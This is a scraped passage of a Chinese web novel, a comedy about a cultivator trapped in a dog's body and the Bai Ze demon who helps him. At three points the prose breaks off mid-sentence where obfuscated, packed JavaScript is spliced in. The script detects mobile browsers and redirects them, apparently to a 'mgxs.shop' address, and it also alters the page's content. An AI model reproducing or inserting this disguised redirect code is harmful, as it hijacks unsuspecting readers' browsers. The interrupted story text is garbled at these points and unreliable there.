唐不功还要再说些什么,闻灵便赶紧岔开了话题,再说下去,他口都要干了。 “你快点给我说句对不起吧。说了我就原谅你。都这么久了,总该知道我是好是坏吧?还不知道,那你真是笨到家了。” 闻灵又半威胁地说:“你要再不说我就不帮你了,然后我就把你随便丢掉最近的哪个道馆,让他们捡了去。这样你师父老人家肯定也很快就知道了。” 唐不功沉默半响,问:“我说了,你就真的帮我吗?” 闻灵:“那当然,求人办事要有态度,我要的就是这个态度!” 闻灵等了半天。 唐不功的声音才从嗓子里挤出来:“对不起……” 闻灵立马喜笑颜开。 “哎,我原谅你啦!来摸摸~” 唐不功原本有些阴郁的脸色一扫而空,立马变得激动了起来。 “汪汪!(滚!别摸我头!)” 4. 狗不能吃巧克力 清晨,天刚蒙蒙亮的时刻,陈先生结束了自己的晚班,正在开车回家。 山尖上露出的一点晨光,照在人身上,照得人有些懒洋洋的困意,他捂着嘴打了一个大大的哈欠,在眼角挤出了一点睡眼惺忪的泪水。 陈先生抬起手想要随便擦一擦,可眼睛一转,余光便瞥到了旁边的一辆车上…… 这个时候的车流还是很稀疏,因此两辆车得以不紧不慢地齐驱并驾,陈先生也得以看清对方的驾驶员——一条狗。 一只土黄色的中华田园犬,只有肚皮和爪子那带着点从黄色渐变到白色的毛发。而此刻整条狗的毛发在阳光下,都带着点毛茸茸的光晕。 狗目视前方,两只爪子搭在方向盘上,开车的表情很严肃,很认真,时不时会张张嘴。 它似乎还是坐在什么东西上面开车,椅背被调整到了后面去,上面似乎还躺着一个什么东西。 陈先生疑惑地用余光不断往那边看去,想要再看得仔细些,他甚至摸了摸口袋,犹豫着是先掏出手机来拍张照片,还是先报个警。 可等他再眨了眨眼睛的时候,开车的却又变成了一个男人。 一个戴墨镜的男人,椅背也调整了回来。 似乎是察觉到自己正被人看着,戴墨镜的男人朝陈先生转过头来,微微一笑,抬手打了个招呼,便开始加速超过了陈先生的车。 陈先生:…… 加班加出幻觉了。 唐不功被闻灵一把掀飞,此刻正四脚朝天地卡在副驾驶座下面,好不容易翻过身来,看着眼前这个男人笑嘻嘻的样子,更是没了好脾气。 “我就说了我不行的吧,万一刚刚那个人报警了怎么办?” 闻灵:“不会的,谁会以为别人真的让狗开车啊?还开得这么好,哈哈。” 唐不功在心里嘀咕,你会。 唐不功又问:“那万一被监控拍到了怎么办?这车是我的,我可不想被扣分。” “没有事,不用担心,”闻灵抽出手来又摸了一把狗头,“我施了点小法术,监控拍不到我们的。” 唐不功:“那刚刚那个人怎么回事?” “哈哈,不好意思,忘记会被人看到了,就记得现在有监控,别被监控拍到就行了。”闻灵看起来毫无犯错之后的悔过之意。 唐不功更生气了,又不理闻灵了。 背过身去,一个狗脸都不愿意给闻灵看,只有尾巴还有一下没一下地这边晃到那边。 “理理我嘛,一个妖出门很无聊的,没人陪我讲话那就更无聊了。” 闻灵已经记不清自己上次远门是干什么了,好像就是为了搬家。 好像还有一次,是老友结婚,自己出了一趟远门。 除此之外,就没有了吧? 所以这么多年没出门,他忘了怎么开车很正常吧? 对于一个妖精来说,除了必须的生活需要以外,还愿意去考驾照,并且拿到驾照,已经是对人类社会莫大的兴趣了。 况且他考完之后又没买车,又这么多年没开,所以一下子手生,不知道怎么开,也很正常吧? 但唐不功很明显不是那种有一颗宽容的心的人。 在闻灵答应陪他去找解决办法之后,他就热心地把自己的车给贡献了出来。 在闻灵一脚油门,差点把大家都送上天之后,唐不功又开始嚷嚷着“不要不要”,不想让闻灵开他的车了。 没办法,闻灵只好提议让唐不功自己来开车,自己则帮他踩油门和刹车。 虽然唐不功的爪子被闻灵放上方向盘的时候一直说着什么不要吧,这样不好吧,但闻灵看出来了,这小子想得很。 唐不功不想做一只普通的狗,他想做一只会开车的狗。 但是现在出事了,唐不功又不要不要起来了,又生气了,又要做不理人的小狗了。 呵呵,真是善变的年轻人。 闻灵说:“不理我,那好吧,那我也不理你了。” 小狗的尾巴彻底不摇了。 一人一狗,冷战开始。 闻灵没有想到,自己宅家这么久,出门干的第一件大事,竟然是揣摩狗意。 真真是虎落平阳被犬欺! 汽车逐渐驶进市区的繁华地带,商铺渐渐多了起来,闻灵的肚子也饿了。 他左看右看,最后锁定了一家咖啡店。 他停好车,又掏出手机来,看了看评价。 四点五分的综合评分,而且宠物友好。 闻灵牵着唐不功走进了咖啡店,坐下来点了一杯可可冰拿铁,一份核桃布朗尼,还有一份榛子巧克力酥皮碱水结。 一个早上,吃这些就差不多够了,但闻灵还在翻看着菜单,而唐不功则扒拉着爪子,搭在他腿上,一个狗头凑在他胳膊旁边,和他一起看着菜单。 人的东西,狗当然不能随便吃。 但刚刚看评价的时候,唐不功记得自己在闻灵的手机上,是有看到这家店卖肉类食物的。 在略过了一大堆的饮品,还有一大堆甜品之后,唐不功终于看到了下一个种类的影子,可闻灵却一下子点了下单,然后便把手机关上了。 唐不功在闻灵大腿上踩了踩,留下几个浅灰色的脚印,又叫了几声以示抗议。 可闻灵非但充耳不闻,反倒还做出一副语重心长的样子。 “大黄啊,这里没有你吃的哟,油炸吃多了伤狗身的啦,等回去了再给你弄好吃的啊。” 道理唐不功都懂,他没有办法容忍的是闻灵这一副做作的样子,完完全全就是哄狗的态度! 什么哟什么啦什么啊! 放在平时,要是谁这样和他说话,那唐不功肯定第一时间把人打飞到外星去。 可是……可是他现在在别人眼里真的就是一条狗啊! 闻灵点的东西都上齐了,唐不功看着一桌子黑不拉几的东西,觉得这人肯定是有点故意在身上的。 他又生气了,但这回他怎么也做不到把头扭过去。 他只感觉自己的肠道在蠕动,马上就要发出生理本能的呼唤,而他的嘴巴则要响应肠道的呼唤,开始哗啦哗啦。 闻灵气定神闲地喝了一口拿铁,又挖了一勺蛋糕送到嘴里。 真是惬意,进城为数不多的好处就是这个,好吃的东西更多。 闻灵选择性地忽略了自己脚边这个眼睛变得亮晶晶,嘴巴不自觉地张开露出舌头,尾巴讨好地一摇一摇的人。 他在等待。 唐不功是一个人没错,但他现在是和狗在一个身体里,和狗的灵魂共处一室。 虽然唐不功是一个人类,而且是一个修士,那么他的灵魂,肯定会占去这个躯壳此时的大部分位子,但是,谁才是这个身体真正的主人呢? 大黄! 人性和狗□□织在这一刻,那到底是人性的沦丧,还是狗性的扬眉吐气呢? 呵呵。 人形狗性狗性人性…… 唐不功的身体里不自觉地发出可怜的呜咽声,他没有办法控制自己一般,讨好地去拱闻灵的身体,就好像他知道自己这样做就能讨好眼前的这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405207|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人,而某种肌肉记忆也告诉他,男人马上就要来摸他,把他从上到下都舒舒服服地摸一遍,再给他最心爱的小饼干。 可恶啊! 唐不功一边唾弃自己,一边又无法控制住自己。 安能为五斗米折腰的呐喊声在他心里响起,渴望抚摸的身体本能又在叫嚣着。 唐不功一个从来一心一意只干一件事情的人,变成了一个矛盾体。 走开……摸一下……摸一下……走开…… 一直在专心吃东西的闻灵,终于动了一下。 唐不功的身体立马摆好了爪子,坐正了身体。 可闻灵没有过来摸他。 闻灵只是优雅地擦了擦嘴,看着他,狡黠的光在他眼里一闪而过。 “大黄啊,狗不能吃巧克力的,吃了会挂的。” 闻灵如是说道,再一次语重心长。 果然!这个人! 唐不功怒了! 这一次他坚决地把身体转了过去,将自己的一切身体反应都隐藏在背影当中。 看着面前一下子就耷拉下去的眉眼,闻灵又一次愧疚了。 他的良心在这张纯良的狗脸面前隐隐作痛。 “咳咳……我吃饱了,我们走吧。”闻灵说。 高贵的狗腿迈开了,一根毛都不留给他地迈着小碎步走了。 闻灵只好又说:“别生气了,我错了,我不应该在狗面前大肆吃巧克力的,我错了。” 狗腿慢下来了一点。 闻灵再接再厉:“我们去买点好吃的吧,我保证你喜欢。” “咔哒”一声,唐不功的家门开了。 唐不功的家是超乎闻灵想象的宽敞和整洁。 鱼肚白的大理石地砖铺在客厅和餐厅,房间内则是红木地板。可可波罗制成的黄檀书桌摆放在书房正中央,背后是一整面墙的书。 闻灵穿梭在各个房间,围观着这个两层的高级公寓。 吊顶的璀璨灯光,晃得他的眼睛一闪一闪,他顺着扶梯步上楼,每进一间房都要发出“哇哇哇”的声音,拉长了的语调,由衷的赞叹。 闻灵初见时,看着这人一身古旧的青灰色道袍,还以为这人是哪个山沟沟里被师父放出来历练的小道士。 可现在一看,这是低调的富二代进山沟沟里,倒霉成狗了。 “您……师父到底哪位啊?”闻灵从楼上探出身子问。 “……”唐不功的尊严在饿到极点的胃面前碎了一地,“我饿了,你快点下来给我弄饭。” “哈哈,一不小心就忘记了,这就来。” 闻灵笑了两声,下楼掏出自己刚买的“某某皇家精品狗粮”给人倒上。 “吃吧。”闻灵揉了揉狗脑袋。 一粒一粒,唐不功平时根本不会多看一眼……甚至可能没怎么见过的棕色块状物体落到了他平时的饭碗里——这人到底是怎么第一次来他家就如此精确地找到他的饭碗的! 作为一个人,唐不功是绝对不会主动去吃狗粮的。 可是……可是…… 就在这人性与狗性决斗的重要时刻,旁人竟然还有一个人,啊不,妖,在煽风点火地拉偏架。 “吃吧~吃吧吃吧~可香了~” “……” 毕竟是别狗的身体,自己饿死不算什么,但这身体到时候是要还给人家狗的,所以…… 唐不功眼睛一闭,一头扎进了饭碗里。 嚼嚼嚼 “……” 嚼嚼嚼 嗷呜!真好吃! 5. 远方传来闪电 唐不功吃饱了饭,终于记起来要找回一些自己做人的尊严,可却发现为时已晚。 在他难以自控,又依依不舍地吃完了碗底的最后一粒狗粮之后,人性的泯灭就已经无法挽回了。 他竟然迟钝到闻灵的手已经从他的脑袋上抚摸到了他的下巴上,才意识到自己正在干什么。 唐不功赶忙挪开身子,蹲到一边去,似乎这样就能用沉默掩饰尴尬,用尴尬掩饰事实。 闻灵无奈地看着粘人的小狗,一下子又变成了充满人性光辉的样子,来不及收回的手一下子变得有些空落落的。属于小狗的软乎乎的温热触感似乎还残存在指尖。 唉,大黄,好怀念你啊。 闻灵搓了搓手,站起身来,端着饭碗到厨房,拿洗洁精认真清洗干净,又放回了原位。 唐不功家的东西都一个特点,那就是看起来就很贵。就算是除去那些花里胡俏,一看就精雕细琢的东西,剩下的这些素色东西,看着也不便宜,甚至可能更贵了。 闻灵不敢怠慢,小心翼翼地洗得干干净净,生怕自己再干出什么类似于打碎一个看起来平平无奇的杯子,却要赔个上百赤金的事情。 那可真是要了老妖命了。 可唐不功这个有钱的,很明显是不太理解,闻灵这么虔诚地洗一个不太脏的饭碗是要干什么。 “你洗好了没有?一个碗而已,至于费这么多水吗?我们还有正事要谈,你快点。”唐不功催促道。 闻灵甩甩手上的水,几滴水珠貌似不经意地飞向了唐不功。 感受到水点攻击的唐不功不由感慨这人的幼稚,“你干什么呢?别乱甩水!” “还有快把那个碗给我拿出来,脏……别放那一起去。”他看见闻灵就这么把占满水珠的狗粮,碗歪歪扭扭地放进了自己叠得整整齐齐的碗柜里,连忙火急火燎地叫停。 “哦。”闻灵听话地把碗给了出来。唐不功刚想指挥妖把碗放到合适的地方去,就看到闻灵忽然一笑。 闻灵一笑,唐不功就知道,这妖又要犯贱了。 只见闻灵煞有介事地把碗抓在手里仔细端详,嘴里念叨着:“脏吗?哪里脏啊?我看着好干净啊,这绝对是我洗过最干净的一个碗了。” 放屁!唐不功想,到底是谁刚刚跟要把人家碗搓下一层泥似的洗碗的? 这人……啊不,这妖分明就是想嘲讽我现在做狗,做得这么好,连狗粮都吃得比狗还香。 “你……真是够了!”唐不功又生气地嚷嚷了起来。 闻灵却好像还嫌他狗叫不够。 闻灵把饭碗又凑到了鼻子边闻了闻,还没来等得急听他说些什么,唐不功的怒火就烧得更旺了。 但要说是更生气了,那倒也没有。只能说是怒火中多了几分谈得上称之为羞耻的尴尬,两种感情交织成复杂的感情,那当然是更浓烈了。 闻灵的样子笑得欢喜,当然不会吝啬多浇一把油。 “但是啊,这个碗和别的碗不一样,是哪里不一样呢?请这位同学回答一下!”闻灵一指唐不功的狗头。 唐不功:“……你是要当哪门子的狗老师?” 闻灵摇摇手指,对唐不功同学的回答表示不满意:“看来我们这位同学不太会观察生活啊,再给这位同学一次机会。” 这回闻灵凑到了唐不功身边,把碗怼到唐不功面前:“来我们闻一闻。” 唐不功自然干不出来去闻饭碗是什么味道这种事情的,于是闻灵只好自己去闻。 唐不功看着闻灵造作的样子,心里又羞又臊。 一个狗碗到底有什么好闻的?不都是狗的口水味……当然现在更可能的是自己家柠檬香洗洁精的味道,他在旁边都闻到了。 但闻灵很明显鼻子失灵了,没有闻到。 因为他说:“这是什么味道的呢?是小狗味的呢。” 唐不功此刻脸红到了极点,虽然现在他土黄色的毛茸茸一张狗脸看不太出来,但他的情绪已经通过面部肌肉,还有言语充分表达出来了。 唐不功又羞又气地骂道:“狗口水怎么没毒呢?把你毒死算了!” 闻灵哈哈大笑起来,甚至笑得一屁股坐到了地上,捂着肚子,一副乐得不行的样子。 “……你笑吧,你笑死了现在也没人救你。”唐不功想,毕竟这家里现在也就一狗一妖,还有……一尸体。 虽然这么称呼自己的身体好像不太好,但从客观角度来说自己的身体确实已经“死”了。 唐不功扑到自己的身体上。身体一路上都被闻灵储存在他的戒指里,现在到家了,那自然放出来了。 虽然闻灵放得很随意,直接把他的身体放到了地板上,但因为闻灵施展了法术,所以这具身体还带着类似活人的柔软触感,没有变得硬邦邦,但却没了呼吸,也没了温度。 再怎样高超的法术,对死物,除了维持一个肉眼看到的样子外,也是没有半点办法能让它重新填满生机。 当然,起死回生是有的,活死人肉白骨更不是什么天方夜谭。 只是这已经超出了法术的范畴,或者说这是法术中的禁术,与天道纠缠,逆天而为。 所有的法术,不管是人的,还是妖的,都不过是顺天而为,借取这世间流转不息的一点灵力,而后再还回去。 强行更改天道的运转,逆天而为,下场应该都不太好,所以才会让“起死回生”这件事情变得像传说一样。 他自己也是偶然在书楼的孤本残卷中瞥见了一些,才知道这个事情原来是大概可行的。 可是自己现在这个情况到底属于哪种呢? 他当然没有死,不然现在这个在讲话,在思考的人是谁。 灵体不长存于这世间,再强大的灵体死后也要归于冥界,或是化作细雨春风,偶然间能被人冥冥之中有所察觉。 除非执念过强,不愿往生,才会成鬼。 但他又有什么执念呢? 唐不功觉得自己是没有的。 所以,按照道理来说,他被天雷劈得魂魄离体之后,他应该不久就会消失了。 只是因为机缘巧合,一条狗恰好和他一起被劈中了,于是他们就像两根搭在一起的电线一样,电流互通了。 只不过现在一根电线堪称电力爆表,另一根则是能源枯竭。 那他到底算是因祸得福活下来了,还是因此陷入更加复杂的窘境了呢? 唐不功看着窝在沙发上悠哉悠哉看书的闻灵,陷入了沉思。 闻灵把狗逗得都找不着北了之后,心情大好。 一屁股坐到唐不功家柔软的沙发上后,顺手抄起茶几上的一本书就是看。 当然是很无聊的一本书,里头尽是些晦涩难懂的古文,就算放在当年,闻灵也是看都不会看一眼的。 但他还是装模作样地看起来了,因为他知道有双狗眼睛正在看自己。 为了装得更认真些,闻灵随手翻了几页,书上都是密密麻麻的批注笔记。 学得这么认真的吗? 闻灵对书的内容没有多大兴趣,但对唐不功写了什么东西他倒是很感兴趣。 所以他在认真看东西,倒也不全是装的。 他悠哉悠哉地等着唐不功开口说事情。 唐不功那边却是在大脑飞速运转,他在思考闻灵这个妖到底可不可靠。 闻灵这妖虽然笑嘻嘻的,看着没个正形,但应该是个很厉害的大妖。不然也做不到把妖的气息和痕迹隐藏得那么好。那自己也不会为了保险,直接拿出师父给的法宝把妖给捆了,而是先把妖给打趴下了,再收了。 唐不功看着闻灵手中端着自己前几天丢在茶几上的书,脸上是深不可测的浅淡笑意…… 深不可测个屁! 这妖精脸上分明就是被自己取悦到的欢快。 唐不功努力平息自己的怒气,想着反正都当狗了,就是被妖耍了又怎样? 还是先走一步算一步,进化成人再说。 唐不功准备开门见山,闻灵察觉到小狗的动作,便把注意力从书上的笔记里收了回来。 唐不功问的第一件事是:“你到底是什么妖?” 他已经做好了充足的准备,等着闻灵笑着把手一摊,贱兮兮地说什么“你猜”这种话。 可他没想到,闻灵竟然给自己拾掇出了个正形,答得出乎意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405208|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料的认真,又过分随意。 闻灵听完唐不功的问题,只是低下头去,手里轻轻翻过一页书,嘴里很平淡地应了一句:“我是白泽。” 很客观的陈述句,但唐不功感觉他好似在念叨自己怎么现在都还不知道他是白泽。 而自己此刻的心情,就像是被最欣赏自己的老师,轻轻念叨了一句“怎么这也不知道”一样。 唐不功哽住了片刻,“哦”了一声之后,才开启新的话题。 “那你打算怎么帮我?”唐不功问。 “这个嘛,我们先来谈谈条件。”闻灵把书合上,放到了手边。 “条件!?你还……”唐不功原本想要大声斥责一番,闻灵是怎么好意思和自己谈条件的。 但他忽然又想到自己和人家的初遇,是他要去杀人家…… 而现在妖能不计前嫌地来帮自己,自己就算再怎么对妖有偏见,讨厌妖,这种卸磨杀驴的话他也是说不出口的。 于是他只好熄了火,语气一下子从一个高音转为了低音,一口气差点憋死在狗喉咙里。 “那你说吧,你想要什么?”唐不功努力好声好气地问,反正要钱有的是。 看这只白泽见钱眼开的样子,在自己家里这边摸摸那边看看,估计是很喜欢钱的那种妖。 闻灵看着眼前精彩纷呈的变脸艺术,不由感叹起人为财死,鸟为食亡来。 他思索了片刻,便忽然蹲下了身子,拉近了与小狗的距离,眼睛平视着唐不功。 看着他这一本正经的样子,唐不功也不由地端正了起来,摆好了爪子和尾巴。 闻灵开口,就好像他在发表什么重大建议。 他很认真地和唐不功商量:“你知道大黄是我家狗吧,和我感情很好的。在家里总是有我一口就有它一口,我吃肉的时候,它绝对不吃菜。我睡席梦思,它也绝对不会睡木板床。我们每天一起上山下水,无时无刻不在一起。所以它现在和我交流不了了,我其实是很想念它的。” 唐不功不知道他为什么要忽然谈论自己和一条狗的感情,但他还是做出了回应,点了点自己的头。 “看来你也理解我们之间深厚的情谊,以及我们现在接近天人永隔的状况。那你说现在这个情况是什么造成的呢?”闻灵问。 唐不功知道妖这是怪自己来了,但他也为自己辩解几句。天雷劈下来,劈成哪个样子那真的不是人能决定的,当然,也不是妖能决定的,所以…… 唐不功的脑海内忽然又响起了一串前因后果,要不是他…… 唐不功心虚地低下了了头,想要无力地为自己辩白几句。 但好在闻灵及时地看出了小狗的愧疚,很善解人意地说:“是天雷啊,那天杀的天雷,怎么到处乱劈!” 唐不功忙点点头。 闻灵很满意唐不功的表现,欣慰地揉了揉唐不功不情不愿的狗头,又双手牵起了狗爪子。 他虔诚地像是要像狗求婚,语气慎重得像是他们的孩子明天就要出生。 “命运无常啊,客观事实没法改变,但我对大黄的思念无法排解。所以能不能请你行行好,在一切恢复正常之前,你先当当我的小狗‘大黄’?” “什么!?”唐不功的语调陡然间拔高。 可狡黠的目光此刻在眼前这只妖的眼底荡然无存,只剩下一颗真心在里头闪闪发光。 被这样的目光注视着,唐不功一时竟也分不清这妖精的话到底是真是假了。 闻灵握着他的手迟迟没有放下,唐不功慌了片刻的神。 就在这片刻的时间,屋外忽然电闪雷鸣。 唐不功察觉到一股诡异的电流从自己体内穿过,他抽搐着挣脱了闻灵的手,他听到了这个身体原本的灵魂正在发出细小又痛苦的哀嚎声。 身体麻了片刻,但很快他便被闻灵搂在了怀里,抱去了窗台边。 闻灵缓缓运转灵力,帮他调息,缓解不适感。 一人一妖都望向窗外。那城市钢铁丛林的尽头,那远山的山脊间,红色的闪电正在狂舞。 与此同时,唐不功家的门口,传来门铃声,在电闪雷鸣的间隙里,显得分外清晰。 6. 少爷终于笑了 门铃响了片刻便又停了,闻灵抱着狗看着门口迟迟未有动作。 屋内此刻只开着几盏小灯,因此屋外电闪雷鸣时,屋内也被雷光照得透着几分诡异的红光。 靠近窗台的边缘更是如此,火红的光映在闻灵的脸上,显得他素来平和的脸上有几分肃杀气息。 纱帘被风扬起,起起落落,不断隔挡住一人一妖看向门的视线。 唐不功被闻灵抱得很紧,甚至可以说是紧得有些过头了。 唐不功努力仰起头去看闻灵,但也只能看见闻灵的一点下巴。 没办法,唐不功只好蹬蹬自己的狗腿,去踹闻灵。 “去门口看看是谁来了?” 闻灵低下头来看怀里的小狗,滴溜圆的大眼睛正目不转睛的看着他。闻灵似乎得到了一些安慰。 唐不功察觉到身后妖的身体好像放松了一些。 他赶忙又踹了踹闻灵,提醒这个难得沉默的妖快点去开门。 闻灵把狗放到地上去,幽幽开口道:“你觉不觉得现在很像在拍恐怖片?” 窗外雷声不断,火红的闪电似乎绵延千里,给闻灵此刻的遐想呐喊助威。 唐不功顺着闻灵的目光,看向光线有些暗沉的家门口,又联想到此刻家里正摆放的尸体,觉得闻灵说得有些道理。 “像吧,但现在说这个干什么,你快点去开门吧,人在门口都等好久了。”唐不功催促道。 闻灵不急,反倒问:“你怎么知道门口是人的?” “门口怎么就不是人了?”唐不功快要失去耐心,“鬼进人家门难道还要敲门的吗?你一个妖到底在怕什么鬼?再说了,这世上哪有什么鬼。少看些没名堂的电影,别自己吓自己,快去开门。” “我害怕。”闻灵坦诚道。 在唐不功掺着几分惊讶的疑惑目光下,闻灵又真诚补充了一句:“是真的。” 唐不功还是半信半疑:“你一个妖,门外是什么,你难道半点都察觉不到。” 闻灵摇摇头:“小时候生了点病,脑子不太好使了。” 你脑袋哪里不好使了,妙语连珠的。 但妖自贬成这样,唐不功也不好再说些什么了,又看闻灵实在是真的有点害怕,便只好说:“我现在虽然是狗身,但是狗鼻子灵,我现在已经闻出来了,外面是人,放心去开门吧。” “那就好。”闻灵立马站起身来,朝门口走去。 走到半路,他想了想,又折回来,把沙发上唐不功已经了无生机的躯壳搬去了卧室。 毕竟怎么看都不像正常睡着了,仔细一看那更是死翘翘的样子。 “久等了,不好意思。”闻灵打开门来,先问候了一句。 门外站着的是一个头发理得很短的中年男人,两鬓理得很整齐的头发已有些斑白,但男人打扮得很显年轻,也很正式。 周末的日子,也还要穿着正装来敲别人家的门,从上到下打理得一丝不苟,干干净净,看不到一点邋遢的迹象。闻灵甚至闻到了男人身上很清爽的香水味。 男人在门打开,看到来人的一瞬间时,脸上有闪过片刻的惊讶,但很快便收敛起来。 “您好,我姓陈,是唐先生的秘书。”男人自我介绍道。 闻灵应了一声,让出半边身子:“陈先生,请进。唐先生他现在不在家,你先进来坐会吧。” 听到这话,唐不功赶紧叫了起来。 “把他叫进来做什么,我现在又和他谈不了事情,快点把人打发走。” 闻灵听到这话想,唐不功可真是黑心资本家啊,大星期天的,人给他穿着正装来谈事情,他就想着给人打发走了。 “这是唐先生新养的宠物,叫大黄。这几天刚来,可能不是很适应环境,别害怕,他没有恶意的。”唐不功在门口冲闻灵叫个不停,闻灵只好冲陈秘书笑笑解释道。 陈秘书低头看了眼那黄不拉几的土狗,笑而不语。 他摆摆手,说:“不用麻烦您了,我就是来送个文件。” 陈秘书说着从皮包里掏出了一个棕黄色的皮质文件夹,递给闻灵。 “麻烦您转交给唐先生,另外还有徐家那边的事情,也麻烦您提醒一下少爷去处理。” “好的。”闻灵接过这一看就很私密的文件,忽然有点想要质疑唐不功秘书的专业性,把文件就这样交给老板家第一次见面的人,真的好吗? 万一他是路过的小偷呢? 但现在除了接下来,好像也没有别的话可以说。 闻灵低头看了看脚边的小狗。 毕竟凡人不可懂狗语。 “等唐先生回来了,我就转交给他。”似乎是觉得这样有点太随便,闻灵煞有介事地补充了一句,“我是唐先生朋友,您放心。” “当然当然,那我就先走了。有什么事,请您电话联系我。”陈秘书满脸神秘微笑的走了。 闻灵关上门,开始回味陈秘书刚刚的笑容。 回味着,回味着,他忽然觉得陈秘书刚刚的笑容,就像是玛丽苏狗血文里的少爷管家,在看到少爷终于带女主回家了,露出的欣慰笑容,嘴里可能还要说着什么“少爷终于笑了”,“少爷从来没有带过人回家”这种话。 闻灵想着,想出了一身的鸡皮疙瘩。 但唐不功大概真的是一个朋友很少的小孩。 因为他会喋喋不休地生气,世界上百分之九十九的人大概都会讨他嫌。 唐不功现在就在嫌弃闻灵碍手碍脚,怎么都不能把他放到书桌前正确的位子上去。 “把我再放上面一点。”唐不功要求。 闻灵无奈地往唐不功椅子上又放了一个软垫上去,“你体谅一下你自己吧,你现在身子就是这么短,手脚就是这么长,别追求那么多了。就放地上,我摊开来翻给你看吧。” 唐不功不是那种肯轻言放弃的人。他不依不饶地扑腾着自己现在的这两双小爪子,想要在桌上扒拉到一个合适的位子放手。 可事实却是,整个狗在垫了四五层高的软垫上摇摇欲坠。 闻灵叹气,一把抄起唐不功,把软垫都挤到地上去,又把狗搁在了自己腿上。 “这样行了吧,我举着你。”闻灵握着唐不功的爪子左右晃动了两下。 “谁要你这样举着我了,我是没手吗?”唐不功被闻灵举起来放到腿上的第一时间是绷紧自己的狗身,双腿打直,戳在闻灵腿上,避免自己屁股与闻灵大腿的大面积接触。 唐不功大概离了娘胎,过了喝奶的年纪之后,就没有与谁有过超过一个巴掌面积的肢体接触。 所以,突如其来的亲密接触,实在是异样的感觉。 虽然闻灵这几天已经不顾他个人意愿,干了很多搂搂抱抱的事情,但他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405209|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个有手有脚的狗,不能这样放任闻灵。 唐不功挣脱闻灵的怀抱,一下子蹦哒到了地上,嘴里叼着一份文件,甩开摊到地上去,然后用两只狗爪艰难翻页。 闻灵好心想要伸出手去帮帮忙,却被人一爪子拍开。 “哎哟,好痛啊。”闻灵捂着一个狗爪印也没留下的手背,假装吃痛。 可惜唐不功是个铁石心肠的,充耳不闻,甚至面不改色,只是身边留给闻灵的空档更大了些。 闻灵不客气地挤过去,和唐不功一起浏览这份文件。 文件的内容很简单,大概就是在讲一个新开业的大商场闹鬼的事情。 鬼嘛,闻灵估计是没有的,大概是这个商场建在谁家附近了,又没提前知会一声。惹得精怪们不高兴了,才会被这样捉弄。 “这是你公司的业务?你开的是什么公司啊?专门驱鬼的?”闻灵好奇,在人间开这样的公司,合法吗? 唐不功又艰难翻过一页,回道:“这不是我公司的事情,是我私人的。” “哦。” 闻灵想唐不功家装修得这么好,地段这么贵。公司大概是很赚钱的。管着这么赚钱的一个公司,还能有精力发展副业。实在是对当道士这件事情爱得深沉,怪不得会不好意思以这般模样回去见师父了。 想到这,闻灵便问唐不功:“你想好了怎么变回人吗?” 唐不功惊讶:“我还以为你知道。” 闻灵惭愧:“和灵魂相关的法术都很复杂,这你应该也知道。如果天雷只是单纯把你们劈得换了个身子,那我还能斗胆试一试。可现在你们这情况,我怕万一整不好把你们的灵魂搅和在一起,变成‘人狗’或者‘狗人’了,那也太吓人了。要不我们还是多去找几个人来试试看?放心,活了这么多年,我还是认识些靠谱朋友的。” “……”唐不功沉默不语,闻灵就知道这小子肯定不行。 于是,他只好再提议说:“看那天雷方向,应该是从东南地界发出来的。要不我们过去看看是谁搞出来的,谁搞出来的谁负责,实在不行再劈一遍,说不定就回去了。” 唐不功对闻灵这破罐破摔的提议,表示抗议:“要劈劈你去,我才不去。” 闻灵哈哈一笑:“试试总没错吧,万一能行呢。反正你现在的都这样了,往东南边走走又没什么坏处。总不能待在家里等着变回去吧。” 唐不功依旧沉默不语,但闻灵知道这回他是默认了。 “那先把事情办完吧,办完了我们再出发,先是这个商场,然后就是那个什么徐家的事情吧,刚刚你的秘书说的。” “这两个大概可以当成一件事办,那个商场就是徐家开的。”唐不功的视线停在了文件里夹着的几张图片上,图片上是徐家之前请的人布的阵法,无一例外都被破除,烧得几乎只剩下一片漆黑的痕迹。 “那事情应该可以很快解决吧。既然就只是闹鬼这种事情。”闻灵说。 唐不功摇摇头:“那个商场闹鬼是小事,徐家可能有别的大事瞒着。” “哦?那是什么事情?”闻灵来了兴趣。 “我也不清楚,徐家的人之前来找过我一次,但大家见面吃了个饭就没什么了。需要明天再去看看。”唐不功合上文件。 “明天去看看?”闻灵想了想,提出了一个关键问题,“你明天要怎么去看?” 7. 一入豪门深似海 徐家主宅的灯火彻夜通明,可等到夜色都淡了,也还是没有等到人来。 徐老爷久经商场,早已处变不惊的一个人,此刻面对家里的乱象,心里也是乱成了一团麻。 